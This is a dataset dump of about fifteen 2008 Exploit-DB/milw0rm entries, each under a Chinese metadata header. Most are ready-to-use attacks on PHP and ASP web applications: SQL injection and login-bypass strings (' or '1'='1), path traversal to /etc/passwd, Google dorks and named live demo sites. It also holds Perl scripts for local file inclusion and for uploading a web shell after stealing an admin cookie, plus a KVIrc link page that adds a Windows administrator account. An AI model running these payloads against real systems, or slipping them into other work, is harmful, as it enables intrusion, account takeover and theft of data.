QLWD/code_shield huggingface dataset:
标题: Ez Ringtone Manager - Multiple Remote File Disclosure Vulnerabilities EDB-ID: 7190 CVE: 2008-6112 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-22 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            Ez Ringtone Manager Multiple Vulnerabilities            +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

  
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 22 nov 2008
SITE   : WwW.DeltaHacking.Net


#####################################################

APPLICATION  : Ez Ringtone Manager
DOWNLOAD(10$): http://www.scriptsez.net/?action=details&cat=Music%20Libraries&id=1190620143
VENDOR       : http://www.scriptsez.net/
DEMO         : http://demo.scriptsez.net/ringtones/demo.html

#####################################################


[+] vuln    : ./main.php
              ./template.php


               vulnerability is in main.php that included in template.php


[1] Remote File Disclosure:

[~] Exploit : http://victim.com/ringtones/main.php?action=detail&id=../admin.php
              http://victim.com/ringtones/template.php?action=detail&id=../admin.php

[2] Local File Inclusion:

[~] Exploit : http://victim.com/ringtones/main.php?action=detail&id=../../../../../../../../../../../../../etc/passwd
              http://victim.com/ringtones/template.php?action=detail&id=../../../../../../../../../../../../../etc/passwd

##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & snoop-security.com #

##########################################################################################################

# milw0rm.com [2008-11-22] URL: https://www.exploit-db.com/exploits/7190
标题: ToursManager - 'tourview.php' Blind SQL Injection EDB-ID: 7176 CVE: 2008-6303 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: [>] Name:-->             ToursManager PhP Script <= Blind Sql Injection
 
[>] Discovered by:-->  XaDoS
 
[>] ContacT m&:-->     xados[at]hotmail.it
 
[>] Site:-->                http://www.toursmanager.com
 
#########
 
[â– ] Â£XpLoIT:
 
|: http://www.demosite.com/tourview.php?tourid=2%20and%201=1--   (true)
 
|: http://www.demosite.com/tourview.php?tourid=2%20and%201=0--   (false)
 
Version:
|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=5  (true)
|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=4  (false)
 
V=> 5.x.x XD
 
#########
[â– ] D&M0:
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2%20and%201=1--
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2%20and%201=0--
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2+and+substring(@@version,1,1)=5 
 
#########
 
[â– ] Th4Nks T0:
 
\> Boom3rang </ (very kind) ;-)
\> Langy  </
\> Str0ke </
 
#########

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7176
标题: Natterchat 1.1 - Remote Authentication Bypass EDB-ID: 7179 CVE: 2008-7047 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: ==============================================================================
 NATTERCHAT v1.1  Admin Home Bypass Vulnerability
==============================================================================
 [Â»] Script  :          [ NATTERCHAT v1.1  ]
 [Â»] Discover:          [ Mountassif Moad  ]

===[ XPL ]===
 [Â»] http://localhost/[path]/admin/home.php
===[ LIVE ]===
 [Â»] http://www.welfarerights.net/natterchat/admin/home.asp
 [Â»] http://www.natterchat.co.uk/version11/admin/home.asp

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7179
标题: Vlog System 1.1 - SQL Injection EDB-ID: 7186 CVE: 2008-6111 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-22 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Vlog System V1.1 ( blog.php user )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/blog.php?user=<< REAL USER NAME HERE >>&note=906+AND+1=0+UNION+SELECT+1,2,Concat_Ws(0x3a,user(),@@version),4,5,6,7,8--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-11-22] URL: https://www.exploit-db.com/exploits/7186
标题: e107 Plugin ZoGo-Shop 1.15.4 - 'product' SQL Injection EDB-ID: 7184 CVE: 2008-6114 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-22 漏洞利用脚本: =========================================================================================


  [o] ZoGo-Shop e107 plugins 1.15.4 SQL Injection Vulnerability

       Software : ZoGo-Shop plugin version 1.15.4
       Vendor   : http://e107.org/
       Download : http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.89
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=========================================================================================


  [o] Vulnerable file

       e107_plugins/zogo-shop/product_details.php

        $product_ID=$_GET["product"];



  [o] Exploit

       http://localhost/[path]/e107_plugins/zogo-shop/product_details.php?product=[SQL]



  [o] Dork

       "Powered by ZoGo-Shop" or "e107_plugins/zogo-shop/product_details.php"


=========================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
=========================================================================================

# milw0rm.com [2008-11-22] URL: https://www.exploit-db.com/exploits/7184
标题: Natterchat 1.12 - Authentication Bypass EDB-ID: 7175 CVE: 2008-7049 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: [+] Script Name         : Natterchat v1.12 (Auth Bypass) Remote SQL Injection Vulnerability
[+] Author         : Mountassif Moad
[+] Dork           : Powered by Natterchat v1.12

[+] Expl0iT :
1) Go to the Login page http://www.site.il/chat/nattechat/home.asp
2) Username : admin 
   Password : ' or '1'='1

Live Demo
http://www.sprq.ca/cgi-bin/natterchat/chat.asp

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7175
标题: BitDefender - Module pdf.xmd Infinite Loop Denial of Service (PoC) EDB-ID: 7178 CVE: 2008-5409 类型: DOS 平台: WINDOWS 发布日期: 2008-11-20 漏洞利用脚本: Deny Of Service and infinite loop in BitDefender (module pdf.xmd)
/* ProTeuS @ cih.ms */
tested on pdf.xmd BitDefender's pdf engine by Alexandru Matei (0.1,Oct 8 2008), CRC32=A393F805
and on pdf.xmd last update by the moment of publication

Deny of service occurs during parsing of included compressed streams (gotta use bdc.exe /arc option) in cause of using /FlateDecode /ASCIIHexDecode compression options and object tag /JavaScript in pdf. From time to time occurs either DoS with rewriting of arithmetic registers with the contents of user's decrypted buffer or an infinite loop during scanning after modifying stream-buffer we have such results:

775781CB 8B49 04 MOV ECX,DWORD PTR DS:[ECX+4]

Access violation when reading [30333037] - use Shift+F7/F8/F9 to pass exception to program

EAX 04354E20
ECX 30333033
EDX 30333033
EBX 01BF0000
ESP 0012D5B8
EBP 0012D5E0
ESI 04354E18
EDI 04352100
EIP 775781CB ntdll.775781CB

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7178.zip (2008-BitDefenderDOS.zip)

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7178
标题: KVIrc 3.4.2 Shiny - URI handler Remote Command Execution EDB-ID: 7181 CVE: 2008-7070 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-21 漏洞利用脚本: <!--
KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
by Nine:Situations:Group::strawdog
Tested against IE8beta/WINxpsp3

software site:
http://www.kvirc.net/?lang=en
description:
"KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac
OS.[..]"

A command line parsing vulnerability exists (or I should say persists...:
http://secunia.com/advisories/25740, fixed or not?) which can be exploited by
passing the '"' char followed by command line switches to 'irc:///', 'irc6:///',
'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list:
irc:///"%20--help%20"
The most interesting one is the -e switch followed by 'run' command, this runs
calc.exe:
irc:///"%20--nosplash%20-e%20"run%20calc"%20"

The following links add a new user on target with admin privileges
-->
<html>
  <body>

  <a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br>

  <a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br>

  <a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br>

  <a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br>

  </body>
</html>

# milw0rm.com [2008-11-21] URL: https://www.exploit-db.com/exploits/7181
标题: AskPert - Authentication Bypass EDB-ID: 7166 CVE: 2008-6310 2008-6309 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-19 漏洞利用脚本: ##################WwW.TR-ShaRk.Co.cC###################
#AskPert  (Auth bypass) SQL Injection Vulnerability
##################WwW.TR-ShaRk.Co.cC###################

 ##################WwW.TR-ShaRk.Co.cC###################
 #[~] Author :  TR-ShaRk
 #[~] Msn : Starhack@tr-shark.org
 #[~] Web : WwW.TR-ShaRk.Co.cC
 #[~] I am Not Hacker
 #[~] Greetz :FATAL,STR0KE,ARANELWORM,CAKI_DECCAL,CEZOHAN,WEBLOADER
 #[~] Orospu Cocuklari; Elitehacker,Netshooter Kardesleri
 #
 #[!] Script: http://www.w3matter.com/products/askpert
 #[!] Google_Dork:  Powered by AskPert
 ##################WwW.TR-ShaRk.Co.cC###################


 Go to ask/index.php?section=user&action=login

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format.

 For exapmple Starhack@TR-ShaRk.OrG

 For password use ' or ' 1=1


 #[~] LiveDemo:
 http://www.w3matter.com/ask/index.php?section=user&action=login

 ##################WwW.TR-ShaRk.Co.cC###################
 Biz Hic Bir Zaman Kraliz Demedik Bunu Kanitladik | Ya Ezersin Yada Ezilirsin!
 ##################WwW.TR-ShaRk.Co.cC###################

# milw0rm.com [2008-11-19] URL: https://www.exploit-db.com/exploits/7166
标题: PHP 5.2.6 - 'error_log' Safe_mode Bypass EDB-ID: 7171 CVE: 2008-5625 2006-3011 类型: LOCAL 平台: MULTIPLE 发布日期: 2008-11-20 漏洞利用脚本: [ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl 
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web 
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can 
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.iniÂ­:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
 php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On 

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7171
标题: Natterchat 1.1 - Authentication Bypass EDB-ID: 7172 CVE: 2008-7049 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: [+] Script Name         : NATTERCHAT v1.1 remote login bypass

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') 

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

[+] Dork           : Powered by NATTERCHAT v 1.1

--//-->

[+] Expl0iT :

1) Go to the Login page http://www.exemple.ff/chat/nattechat/home.asp

2) Username : admin  

   Password : ' or '1'='1

3) You are the Admin now!

N.B : U can aplly an SQL query in both (Username or Password) but we done only ' or '1'='1 coz it's always true then we can simply bypass the login page


--//-->

[+] Greetz : hak3r-b0y , Underz0ne Crew , king Of Hacker , Zigma , micro0x02 ... 

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7172
标题: PunBB Mod PunPortal 0.1 - Local File Inclusion EDB-ID: 7168 CVE: 2008-5418 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: #!/usr/bin/perl

=about

    PunBB (PunPortal 0.1) Local File Inclusion Exploit
    --------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/download.php?id=1108
    download cms http://punbb.org

    register globals = 1
    magic quotes gcp = 1
    
  
    
    File (include/login.php)
    
    1. <?php
    2.
    3. // Show login if not logged in
    4. if($pun_user['is_guest'])
    5. {
    6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))
    7. {
    8. 
    9. // Load the language files
    10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';
    11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';
    
    
    $pun_user['is_guest'] isn't declared
    $pun_user['language'] isn't declared
    
    include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00
    
    how to fix?use the latest version (2.0) 
     
    Usage: perl punbb.pl localhost/cms
    
=cut


use strict;
use warnings;
use IO::Socket;


my $html = undef;
my $site = $ARGV[0] or &help;
my @take = split /\//,$site;

my ($host,$path) = @take;

if($site =~ /http:\/\/(.+?)/i) {
  print STDOUT "Invalid URL\n";
  exit;
}

print STDOUT "Local File (ex: ../../etc/passwd)\n";
print STDOUT "Local File: ";
  
chomp(my $file = <STDIN>);

if(not defined($file)) {
  print STDOUT "File Not Defined!\n";
  exit;
}


my $evil = "/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=";

my $sock = new IO::Socket::INET(
                                 PeerAddr => $host,
                                 PeerPort => 80,
                                 Proto    => 'tcp',
                                 Timeout  => 6,
                              ) or die $!;   

my $data = "GET /${path}/${evil}${file}%00 HTTP/1.1\r\n".
           "Host: $host\r\n".
           "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".
           "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
           "Accept-Language: en-us,en;q=0.5\r\n".
           "Accept-Encoding: gzip,deflate\r\n".
           "Connection: close\r\n\r\n";

$sock->send($data);

while(<$sock>) {
  $html .= $_;
}           

if($html =~ /(No such file or directory|HTTP\/1.1 404 Not Found)/i) {
  print STDOUT "Exploit Failed!\n";
  exit;
}
else {
  my $name = int(rand(999)).'.txt';
  
  open(FILE,">",$name);
  print FILE $html;
  close(FILE);
  
  print STDOUT "Exploit Successfully!\n";
  print STDOUT "$name saved!\n";
  exit;
}


sub help {
  print STDOUT "PunBB (PunPortal 0.1) Local File Inclusion Exploit\n".
               "by athos - staker[at]hotmail[dot]it\n".
               "Usage: perl $0 [host/path]\n";
  exit;
}

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7168
标题: Pre Job Board - Authentication Bypass EDB-ID: 7164 CVE: 2008-6329 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-19 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------ 
[~]Tybe: (Auth Bypass) SQL Injection Vulnerability 

[~]Vendor:http://www.preproject.com/preaspjobboard.asp

[~]Software: PRE JOB BOARD

[~]author: R3d-D3v!L 

[~] Date: 21.11.2008 

[~] Home: www.ahacker.biz 

[~] contact: N/A 
[~] ----------------------------------------------------------- 


[~] Exploit: 

username: r0' or ' 1=1-- 
password: r0' or ' 1=1-- 


[~] login for demo: 

http://preproject.com/preaspjobboard//Employee/emp_login.asp


[~]-------------------------------------------------------------------------------- 
[~] Greetz tO: keta & m4n0n & maxmos & 8orn 2 K!LL & hesham_hacker 
[~] 
[~]spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ 
[~] 
[~] EV!L !NS!D3 734M ---> R3d-D3v!L--EXOT!C --poison scorbion 
[~] 
[~] & xp10.biz & ahacker.biz
[~] 
[~]--------------------------------------------------------------------------------



# milw0rm.com [2008-11-19] URL: https://www.exploit-db.com/exploits/7164
标题: MauryCMS 0.53.2 - Arbitrary File Upload EDB-ID: 7162 CVE: 2008-6952 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-19 漏洞利用脚本: #!/usr/bin/perl 

=about
 
   MauryCMS <= 0.53.2 Remote Shell Upload Exploit
   ----------------------------------------------
   by athos - staker[at]hotmail[dot]it
   download on http://cms.maury91.org
   thnx Osirys
   
=cut


use strict;
use warnings;
use LWP::UserAgent;

my ($http,$post,$user,$pass,@auth,@read,$shell);

my $host = shift @ARGV;
my $file = shift @ARGV or &usage;

open(FILE,$file) or die("file error!\n");

@read = <FILE>;

foreach(@read) 
{
  $shell .= $_;
}

close(FILE);

&usage if $host !~ /http:\/\/(.+?)$/i && $file !~ /[a-zA-Z](\.php)/i;


my @path = split /\//,substr($host,7);


$http = new LWP::UserAgent(
                            agent => "Mozilla/4.5 [en] (Win95; U)",
                          );

@auth = split(':',get_cookies());

if(not defined($path[1]))
{
  $user = qq{_nick=${auth[1]}; path=/; };
  $pass = qq{_sauth=${auth[0]}; path=/;};
}
else
{
  $user = qq{/${path[1]}_nick=${auth[1]}; path=/; };
  $pass = qq{/${path[1]}_sauth=${auth[0]}; path=/;};
}



$http->default_header('Cookie' => $user.$pass);

$post = $http->post($host.'/Admin.php',[
                                         'zone'     => 'Modify',
                                         'txtfname' => $file,
                                         'txttext'  => $shell,
                                       ]);               

if($post->is_success  && $post->as_string =~ /File Scritto/i)
{
  print STDOUT "Exploit Successfully!\n";
  print STDOUT "$host/$file\n";
  exit;
}
else
{
  print STDOUT "Exploit Failed!\n";
  exit;
}


sub get_cookies
{
  my ($query,$cookie,$content);

  $query = "/Rss.php?c=-1+union+select+1,concat(sauth,0x3a,nick),".
           "3,4,5,6,7,8,9+from+mcms_users+where+id=1--";
              
 
  $cookie = $http->get($host.$query);
  $content = $cookie->content;
 
  if($cookie->is_success & $content =~ /<title>(.+?)<\/title>/i)
  {
    return $1;
  }
}


sub usage
{
  print STDOUT "MauryCMS <= 0.53.2 Remote Shell Upload Exploit\n".
               "by athos - staker[at]hotmail[dot]it\n".
               "----------------------------------------------\n".
               "Usage: perl $0 http://[host] [name_shell.php]\n".
               "Usage: perl $0 http://localhost/cms shell.php\n";
  exit;
}

# milw0rm.com [2008-11-19] URL: https://www.exploit-db.com/exploits/7162
标题: RevSense 1.0 - Authentication Bypass EDB-ID: 7163 CVE: 2008-6310 2008-6309 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-19 漏洞利用脚本: ###############################################################################################
[-] RevSense v.1.0 (Auth bypass) SQL Injection Vulnerability
[+] Script home : http://www.revsense.com/
[-] Discovered By : d3b4g        
[-] Greetz : str0ke /* All my freind         
################################################################################################
 
 Dork:Powered by Revsense

 Go to www.target.com/index.php?section=user&action=login

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format.

 For exapmple bla@bla.com

 For password use ' or ' 1=1

 Live demo [at] http://demo.revsense.com/index.php?section=user&action=login
--------------------------------------------
--------------------------------------------
I'm a maldivian 
/*

# milw0rm.com [2008-11-19] URL: https://www.exploit-db.com/exploits/7163